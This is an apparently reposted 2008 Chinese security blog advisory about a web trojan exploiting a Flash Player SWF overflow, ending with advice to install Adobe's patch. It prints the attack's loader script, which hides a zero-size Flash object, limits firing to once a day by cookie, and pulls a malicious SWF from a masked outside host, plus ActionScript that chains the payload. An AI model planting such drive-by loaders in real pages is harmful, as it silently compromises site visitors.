FLASH网马悄然现身互联网

    [雨 May 27, 2008 09:31 | by ]
来源:Neeao Blog
最近几天拦截到利用Adobe Flash Player SWF文件漏洞的网马,该网马通过网页加载一个正常的FLASH文件,再在那个FLASH文件里调用嵌入恶意构造的FLASH文件,这时会导致溢出,从而可能执行任意指令。以下为调用页内容:
<script>
window.onerror=function(){return true;}
function init(){window.status=”";}window.onload = init;
if(document.cookie.indexOf(”play=”)==-1){
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie=”play=Yes;path=/;expires=”+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf(”msie”)>0)
{
document.write(’<object classid=”clsid:d27cdb6e-ae6d-11cf-96b8-444553540000″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0″ width=”0″ height=”0″ align=”middle”>’);
document.write(’<param name=”allowScriptAccess” value=”sameDomain”/>’);
document.write(’<param name=”movie” value=”http://www.XXX.cn/flash/XX.swf”/>’);
document.write(’<param name=”quality” value=”high”/>’);
document.write(’<param name=”bgcolor” value=”#ffffff”/>’);
document.write(’<embed src=”http://www.XXX.cn/flash/XX.swf” mce_src=”http://www.XXX.cn/flash/XX.swf”/>’);
document.write(’</object>’);
}else
{document.write(”<EMBED src=http://www.XXX.cn/flash/XX.swf width=0 height=0>”);}}
</script> 以下为正常的FLASH文件使用的脚本:

// Action script…// [Action in Frame 1]
var flashVersion =/hxversion;
loadMovie(”http://www.XXX.cn/flash/” + flashVersion + “mal_swf.swf”, _root);
stop();

该恶意FLASH部分内容如下:

Highslide JS


建议:

厂商补丁: Adobe
—–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.adobe.com/go/getflash
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